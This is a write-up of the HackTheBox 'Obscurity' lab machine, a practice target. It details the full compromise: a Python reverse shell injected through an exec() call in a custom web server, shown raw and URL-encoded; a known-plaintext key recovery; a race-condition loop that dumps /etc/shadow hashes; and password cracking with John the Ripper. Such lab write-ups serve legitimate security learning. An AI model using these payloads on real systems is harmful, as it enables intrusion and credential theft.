cryptography, ctf/hackathon

HackTheBox Obscurity Write-up

Obscurity is a medium-difficulty box. It was super fun to solve because it involved great excuses for me to write some neat little helper scripts and find a vulnerability in Python code. Something you don’t do too often in these challenges. Let’s dive right in with a nmap scan:

$ nmap -sS -sC -oN obscurity.nmap -v 10.10.10.168
Nmap 7.80 scan initiated Fri Jan 10 12:57:06 2020 as: nmap -sS -sC -oN obscurity.nmap -v 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.16s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 0bscura
9000/tcp closed cslistener

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Jan 10 12:57:35 2020 -- 1 IP address (1 host up) scanned in 29.44 seconds

Checking port 8080 on the server, we find the following text:

Here at 0bscura, we take a unique approach to security: you can't be hacked if attackers don't know what software you're using!

That's why our motto is 'security through obscurity'; we write all our own software from scratch, even the webserver this is running on! This means that no exploits can possibly exist for it, which means it's totally secure! 

Challenge accepted. The developer message mentions a file: SuperSecureServer.py. Let’s see whether we can find the code by assuming it’s one directory deep in the server’s file structure. For that, we can use wfuzz:

$ wfuzz -w /usr/share/wordlists/wfuzz/general/big.txt --hc 404 http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
********************************************************
* Wfuzz 2.4.2 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                 
===================================================================

000000829:   200        170 L    498 W    5892 Ch     "develop"

Bingo. Now we can download the server’s code at http://10.10.10.168:8080/develop/SuperSecureServer.py.

Browsing through it, there is a method of note:

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])

Obviously, the exec call here is alarming. It allows us to execute arbitrary code with server-level privileges. To accomplish this, we simply need to terminate the info variable’s encoded string and add any code we want to run afterward. I have taken a standard Python TCP reverse shell payload and updated it to accommodate the faulty string parsing. The result:

';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");s='

We can now URL-encode this payload and make the call to the server to inject our code into the server’s runtime:

$ http -v "http://10.10.10.168:8080/%27%3Bimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.9%22%2C4242%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%3Bs%3D%27"

With our netcat listener on local port 4242, we now receive an incoming connection as the user obscure. Scanning through the filesystem, we find an unprotected home directory owned by the user robert:

drwxr-xr-x 7 robert robert 4096 Dec  2 09:53 .
drwxr-xr-x 3 root   root   4096 Sep 24 22:09 ..
lrwxrwxrwx 1 robert robert    9 Sep 28 23:28 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr  4  2018 .bashrc
drwxr-xr-x 2 root   root   4096 Dec  2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct  3 16:02 .cache
-rw-rw-r-- 1 robert robert   94 Sep 26 23:08 check.txt
drwxr-x--- 3 robert robert 4096 Dec  2 09:53 .config
drwx------ 3 robert robert 4096 Oct  3 22:42 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct  3 16:34 .local
-rw-rw-r-- 1 robert robert  185 Oct  4 15:01 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4 15:01 passwordreminder.txt
-rw-r--r-- 1 robert robert  807 Apr  4  2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct  4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25 14:12 user.txt

The passwordreminder.txt and out.txt files are encrypted. Luckily, the check.txt file gives us the plaintext, which allows us to recover the key. With the plaintext:

Encrypting this file with your key should result in out.txt, make sure your key is correct!

We assume that the key is repeated, and key bytes are added onto the plaintext bytes (wrapping around 255 to stay in the valid ASCII range). Our proof-of-concept attack will simply subtract the ciphertext from the cleartext bytes in the same fashion, and what’s left should be our key. In an ipython session, we write up some quick code:

In [5]: with open("out.txt") as f:
   ...:     encrypted = f.read()
   ...:     

In [6]: cleartext = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"

In [7]: def decrypt(text, key):
   ...:     keylen = len(key)
   ...:     keyPos = 0
   ...:     decrypted = ""
   ...:     for x in text:
   ...:         keyChr = key[keyPos]
   ...:         newChr = ord(x)
   ...:         newChr = chr((newChr - ord(keyChr)) % 255)
   ...:         decrypted += newChr
   ...:         keyPos += 1
   ...:         keyPos = keyPos % keylen
   ...:     return decrypted
   ...: 

In [8]: decrypt(encrypted, cleartext)
Out[8]: 'alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich<\x08'

The attack leaves us with the key alexandrovich. With the server executable, we can now proceed to decode the password reminder file:

$ python3 SuperSecureCrypt.py -i passwordreminder.txt -k alexandrovich -o decoded.txt -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to decoded.txt...


Password reminder:
SecThruObsFTW

This is not just a password reminder but the actual password for robert. Logging in as him allows us to get the user flag in his home directory. A quick look at his sudo permission gives us the next interesting escalation vector:

$ sudo -l
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Trying to execute the program, we get an error, however:

$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: 
Traceback (most recent call last):
  File "/home/robert/BetterSSH/BetterSSH.py", line 24, in <module>
    with open('/tmp/SSH/'+path, 'w') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/rTO4rmUa'

No problem, we’ll just create the directory /tmp/SSH. In the BetterSSH script, we can exploit a race condition where the shadow file’s password hashes are leaking in the temp directory. In the server code:

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)

So we launch a second SSH session as robert where we execute the following one-liner trying to dump the contents:

while true; do for f in `ls /tmp/SSH`; do cat /tmp/SSH/$f; done; done

In our main session, we launch the BetterSSH script until we get a successful dump. The method is a bit flaky due to the timing, but after a few attempts, we get the following credentials:

root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

The root password hash is quite easily cracked with JohnTheRipper:

$ john --wordlist=/usr/share/wordlists/rockyou.txt root.hash  
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes         (?)
1g 0:00:00:00 DONE (2020-01-10 16:41) 3.846g/s 1969p/s 1969c/s 1969C/s 123456..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Using the password mercedes we can finally authenticate against the BetterSSH script and log in as root:

$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: mercedes
Authed!
root@Obscure$ 

We get a custom shell, but it’s good enough to dump the root flag. And that concludes our little adventure into breaking security by obscurity.